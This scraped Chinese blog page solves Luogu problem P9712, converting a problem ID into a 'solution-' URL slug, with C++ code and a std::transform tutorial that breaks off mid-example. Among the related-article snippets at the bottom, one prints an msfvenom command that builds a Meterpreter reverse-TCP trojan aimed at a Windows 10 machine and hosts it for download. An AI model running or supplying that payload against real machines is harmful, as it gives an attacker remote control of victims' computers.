P9712 「QFOI R1」贴贴

「QFOI R1」贴贴

题目描述

小 R 是一个可爱的女孩子,她希望通过给洛谷题目写题解的方式跟出题人贴贴。

她发现,如果从题解界面点击“提交题解”按钮,博客中会自动生成 URL 标识符,也就是文章的链接。

其中,标识符的生成规则如下:

  • 将题号的所有大写字母转为小写。
  • 将上一步结果的所有下划线转为减号。
  • 在上一步结果前面加上 solution-

她准备给一道题目写题解,已知这道题的题号,你能求出 URL 标识符吗?

输入格式

一行,一个字符串 s s s,表示题号。

输出格式

一行,一个字符串,表示 URL 标识符。

样例 #1

样例输入 #1

P9202

样例输出 #1

solution-p9202

样例 #2

样例输入 #2

CF1797F

样例输出 #2

solution-cf1797f

样例 #3

样例输入 #3

AT_abc312_h

样例输出 #3

solution-at-abc312-h

提示

样例 3 3 3 解释

根据生成规则:

  • 将题号的所有大写字母转为小写:at_abc312_h
  • 将上一步结果的所有下划线转为减号:at-abc312-h
  • 在上一步结果前面加上 solution-solution-at-abc312-h

数据范围

本题共 10 10 10 个测试点,每个测试点 10 10 10 分。

对于全部数据,保证题号仅包含大写字母(ASCII 65 ∼ 90 65\sim 90 6590)、小写字母(ASCII 97 ∼ 122 97\sim 122 97122)、数字(ASCII 48 ∼ 57 48\sim 57 4857)、下划线(ASCII 95 95 95),且长度不超过 20 20 20

对于全部数据,答案中应当仅包含小写字母(ASCII 97 ∼ 122 97\sim 122 97122)、数字(ASCII 48 ∼ 57 48\sim 57 4857)、减号(ASCII 45 45 45)。

  • 对于测试点 1 1 1:保证为主题库题目。
  • 对于测试点 2 2 2:保证为入门与面试题目。
  • 对于测试点 3 ∼ 4 3\sim 4 34:保证为 CodeForces 题目。
  • 对于测试点 5 ∼ 6 5\sim 6 56:保证为 SPOJ 题目。
  • 对于测试点 7 ∼ 8 7\sim 8 78:保证为 AtCoder 题目。
  • 对于测试点 9 ∼ 10 9\sim 10 910:保证为 UVA 题目。

方法1

解题思路:

  1. 将题号的所有大写字母转为小写。
  2. 将上一步结果的所有下划线转为减号。
  3. 在上一步结果前面加上 solution-

我们可以按照这个步骤依次处理题号字符串,最终得到 URL 标识符。

C++代码实现:

#include <iostream>
#include <string>
#include <algorithm>
using namespace std;string generateURLIdentifier(string s) {// 将题号的所有大写字母转为小写transform(s.begin(), s.end(), s.begin(), ::tolower);// 将所有下划线转为减号replace(s.begin(), s.end(), '_', '-');// 在结果前面加上 "solution-"s = "solution-" + s;return s;
}int main() {string s;cin >> s;string urlIdentifier = generateURLIdentifier(s);cout << urlIdentifier << endl;return 0;
}

代码解释:

  1. 定义了一个函数 generateURLIdentifier,用于根据题号生成 URL 标识符。函数接受一个字符串 s 作为参数,表示题号,并返回生成的 URL 标识符。

  2. 在函数内部,首先使用 transform 函数将题号的所有大写字母转为小写。::tolower 是一个函数指针,指向 tolower 函数,用于将大写字母转为小写字母。

  3. 接下来,使用 replace 函数将所有下划线替换为减号。

  4. 最后,在结果字符串的前面加上 "solution-" 前缀,得到最终的 URL 标识符。

  5. 函数返回生成的 URL 标识符。

  6. main 函数中,首先使用 cin 读取题号字符串 s

  7. 调用 generateURLIdentifier 函数,将题号字符串 s 作为参数传入,得到生成的 URL 标识符,并将其存储在变量 urlIdentifier 中。

  8. 输出 urlIdentifier,即为生成的 URL 标识符。

复杂度分析:

  • 时间复杂度: O ( n ) O(n) O(n),其中 n n n 是题号字符串的长度。我们需要遍历题号字符串一次,对每个字符进行转换操作。
  • 空间复杂度: O ( n ) O(n) O(n)。我们需要存储题号字符串和生成的 URL 标识符,所需的空间与题号字符串的长度成正比。

这个解决方案利用了C++标准库中的算法函数 transformreplace,可以方便地对字符串进行转换和替换操作。通过按照题目要求的规则依次处理题号字符串,我们可以得到最终的 URL 标识符。

知识点补充

好的,让我详细解释一下 transform 函数,并给出几个使用案例。

transform 函数是C++标准库中的一个算法函数,定义在 <algorithm> 头文件中。它用于对一个范围内的元素进行转换,并将结果存储到另一个范围内。

transform 函数有两种常用的形式:

  1. transform(first, last, result, unary_op)

    • firstlast 是输入范围的迭代器,指定要转换的元素范围。
    • result 是输出范围的迭代器,指定转换结果存储的位置。
    • unary_op 是一个一元函数对象或函数指针,用于对输入范围内的每个元素进行转换操作。
  2. transform(first1, last1, first2, result, binary_op)

    • first1last1 是第一个输入范围的迭代器,指定要转换的元素范围。
    • first2 是第二个输入范围的迭代器,指定第二个输入序列的起始位置。
    • result 是输出范围的迭代器,指定转换结果存储的位置。
    • binary_op 是一个二元函数对象或函数指针,用于对两个输入范围内的对应元素进行转换操作。

下面给出几个使用 transform 函数的案例:

案例1:将字符串中的字符转为大写

#include <iostream>
#include <string>
#include <algorithm>
using namespace std;int main() {string str = "hello, world!";transform(str.begin(), str.end(), str.begin(), ::toupper);cout << str << endl;return 0;
}

输出结果:

HELLO, WORLD!

在这个案例中,我们使用 transform 函数将字符串 str 中的每个字符转为大写。::toupper 是一个函数指针,指向 toupper 函数,用于将字符转为大写。

案例2:将容器中的元素乘以2

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;int main() {vector<int> nums = {1, 2, 3, 4, 5};transform(nums.begin(), nums.end(), nums.begin(), [](int x) { return x * 2; });for (int num : nums) {cout << num << " ";}cout << endl;return 0;
}

输出结果:

2 4 6 8 10

在这个案例中,我们使用 transform 函数将容器 nums 中的每个元素乘以2。这里使用了一个匿名函数(lambda表达式)作为转换操作,将每个元素乘以2。

案例3:将两个容器中的对应元素相加

#include <iostream>
#include <vector>
#include <algorithm>
using namespace std;int main() {vector<int> nums1 = {1, 2, 3};vector<int> nums2 = {4, 5, 6};vector<int> result(3);transform(nums1.begin(), nums1.end(), nums2.begin(), result.begin(), plus<int>());for (int num : result) {cout << num << " ";}cout << endl;return 0;
}

输出结果:

5 7 9

在这个案例中,我们使用 transform 函数将两个容器 nums1nums2 中的对应元素相加,并将结果存储到 result 容器中。plus<int>() 是一个函数对象,用于执行

本文来自互联网用户投稿,该文观点仅代表作者本人,不代表本站立场。本站仅提供信息存储空间服务,不拥有所有权,不承担相关法律责任。如若转载,请注明出处:http://www.mzph.cn/bicheng/18421.shtml

如若内容造成侵权/违法违规/事实不符,请联系多彩编程网进行投诉反馈email:809451989@qq.com,一经查实,立即删除!

相关文章

GB/T 33133.2-2021 《信息安全技术 祖冲之序列密码算法 第2部分:保密性算法》标准介绍

编写背景 在数字化时代&#xff0c;信息安全的重要性日益凸显。为了加强数据传输和存储的安全性&#xff0c;中国国家标准GB/T 33133.2-2021应运而生。这一标准是祖冲之序列密码算法系列的第二部分&#xff0c;专注于保密性算法&#xff0c;旨在提供一种高效、安全的数据加密解…

升级鸿蒙4.2新变化,新增 WLAN 网络自动连接开关!

手机已经成为现代人生活中不可或缺的一部分&#xff0c;手机里的功能可以满足大部分人的生活场景&#xff0c;但是最依赖的应该就是手机网络&#xff0c;手机网络突然变差怎么办——消息发不出去&#xff1f;刷新闻速度变慢&#xff1f;仔细检查后&#xff0c;发现其实不是手机…

什么是边缘计算?它为何如此重要?天拓四方

随着信息技术的快速发展&#xff0c;数据处理和计算的需求日益增大&#xff0c;特别是在实时性要求极高的场景中&#xff0c;传统的云计算模式面临着巨大的挑战。在这样的背景下&#xff0c;边缘计算作为一种新兴的计算模式&#xff0c;正逐渐受到业界的广泛关注。那么&#xf…

msfconsole攻击win10及简陋版

kali 攻击机IP 192.168.1.19 win10 肉鸡 192.168.1.15 使用 msfvenom 生成木马 msfvenom -p windows/meterpreter/reverse_tcp lhost192.168.1.19 lport1234 -f exe >muma.exe 接下来把木马复制到 /var/www/html下 开启 service apache2 start 即可下载&#xff0c;需要做…

python数据分析——分组操作1

参考资料&#xff1a;活用pandas库 1、简介 借助“分割-应用-组合”&#xff08;split-apply-combine&#xff09;模式&#xff0c;分组操作可以有效地聚合、转换和过滤数据。 分割&#xff1a;基于键&#xff0c;把要处理的数据分割为小片段。 应用&#xff1a;分别处理每个数…

Linux shell编程学习笔记51: cat /proc/cpuinfo:查看CPU详细信息

0 前言 2024年的网络安全检查又开始了&#xff0c;对于使用基于Linux的国产电脑&#xff0c;我们可以编写一个脚本来收集系统的有关信息。对于中央处理器CPU比如&#xff0c;我们可以使用cat /proc/cpuinfo命令来收集中央处理器CPU的信息。 1. /proc/cpuinfo 保存了系统的cpu…

树莓派开箱

1.树莓派4B配置 CPU&#xff1a;64位1.5GHZ四核处理器。 GPU:Broadcom VideoCore VI500MHZ 蓝牙5.0 电源Type C(5V 3A),也可以使用排针链接5V锂电池最大放电电流必须达到3A。 还有千兆以太网等以后用到再说。 接下来进入文章重点 2.镜像文件烧录 前期准备&#xff1a;1…

「TypeScript系列」TypeScript 命名空间

文章目录 一、TypeScript 命名空间1. 使用命名空间2. 命名空间与模块的区别3. 总结 二、命名空间使用场景1. 防止命名冲突2. 组织和管理代码3. 兼容其他库或框架4. 大型项目中封装功能模块5. 总结 三、命名空间有哪些优缺点1. 优点&#xff1a;2. 缺点&#xff1a; 四、相关链接…

AI赋能数字人:打造与语音节奏完美匹配的高质量手势动画

在数字化时代,人机交互正以前所未有的速度进化,而AI数字人的发展正是这一进程中的重要里程碑。近期,一项旨在根据语音内容自动生成匹配手势的技术方案引起了广泛关注,该技术不仅增强了数字人的表现力,也为远程沟通、教育、娱乐等多个领域带来了革新性的应用潜力。本文将深…

【leetcode1944--队列中可以看到的人数】

有n人排成一个队列&#xff0c;从左到右编号为0到n-1&#xff0c;height数组记录每个人的身高&#xff0c;返回一个数组&#xff0c;记录每个人能看到几个人。 类比&#xff1a;山峰问题&#xff0c;高的后面的矮的看不见。 从后往前&#xff0c;最后一个元素入栈&#xff0c…

Apifox 更新|编排模式、Markdown 编辑器升级、自动申请 SSL 证书、用户反馈问题优化

Apifox 新版本上线啦&#xff01; 看看本次版本更新主要涵盖的重点内容&#xff0c;有没有你所关注的功能特性&#xff1a; 自动化测试新增「编排模式」Markdown 编辑器全新升级返回响应直接预览 PDF 及视频自动申请 SSL 证书支持配置自定义域名的子目录流式接口支持筛选和清…

Canny算子

Canny算子_百度百科 (baidu.com)https://baike.baidu.com/item/Canny%E7%AE%97%E5%AD%90/8821789?frge_ala 图像处理中最经典的边沿检测算法&#xff1a; Canny边缘检测_哔哩哔哩_bilibilihttps://www.bilibili.com/video/BV1U4411277i/?spm_id_from333.1007.top_right_bar_…

基于模糊PID控制器的汽车电磁悬架控制系统simulink建模与仿真

目录 1.课题概述 2.系统仿真结果 3.核心程序与模型 4.系统原理简介 5.完整工程文件 1.课题概述 基于模糊PID控制器的汽车电磁悬架控制系统simulink建模与仿真。 2.系统仿真结果 上面的仿真结果是无控制器和LQG的对比&#xff0c;以及有控制器和LQG的对比仿真。 3.核心程…

win10桌面右键-新建文件夹-死机-修复

死机->任务管理器->重新启动 任务管理器&#xff1a;重新启动“文件资源管理器”或者关闭“文件资源管理器” 快捷键&#xff1a;CtrlAltEsc 关闭后桌面黑屏重新启动&#xff1a;文件->运行新任务->输入 explorer ->确定 死机-> 事件查看器->排查错误 …

Qt串口异步通信案例(从机线程)

文章目录 串口线程类初始化串口类打开串口并发送数据析构函数 窗口设置窗口函数实现 串口线程类 SlaveThread&#xff08;从机线程&#xff09; 目的&#xff1a;等待并响应来自主机的请求&#xff0c;然后发送预设的响应数据。 关键行为&#xff1a;线程启动后&#xff0c;通过…

STL库--string

目录 string的定义 string中内存的访问 string常用函数实例解析 string的定义 定义string的方式跟基本类型相同&#xff0c;只需要在string后跟上变量名即可&#xff1a; string str; 如果要初始化&#xff0c;可以直接给string类型的变量进行赋值&#xff1a; string s…

Vue3+vite项目中使用mock模拟接口

安装依赖 分别安装vite-plugin-mock跟mockjs两个插件 npm install -D vite-plugin-mock mockjs vite.config.ts中添加配置&#xff0c;主要是红色标记的配置 注意此处如果配置出错可能是vite-plugin-mock依赖的版本有问题&#xff0c;重新安装一下依赖指定版本即可&#xf…

Pytorch环境配置2.0.1+ Cuda11.7

查找cuda、cudnn、Pytorch(GPU)及cuda和NVIDIA显卡驱动对应关系 查询可支持的最高cuda版本 nvidia-smi查看支持的cuda的版本 CUDA版本对应表 我的显卡驱动是Driver Version&#xff1a;535.40.&#xff0c;那么左边对应的CUDA都可以兼容 右上角为CUDA 版本&#xff0c;可以看…

Ubuntu配置Git

安装git sudo apt install git 查看是否安装成功 git --version 配置git 用github上注册的用户名和邮箱地址&#xff0c;配置git git config --global user.name "username" git config --global user.email "usernameemail.com" 重启ubuntu查看…

Collection(一)[集合体系]

说明&#xff1a;Collection代表单列集合&#xff0c;每个元素&#xff08;数据&#xff09;只包含一个值。 Collection集合体系&#xff1a; Collection<E> 接口 (一&#xff09;List<E> 接口 说明&#xff1a;添加的元素是有序、可重复、有索引。 1. ArrayLi…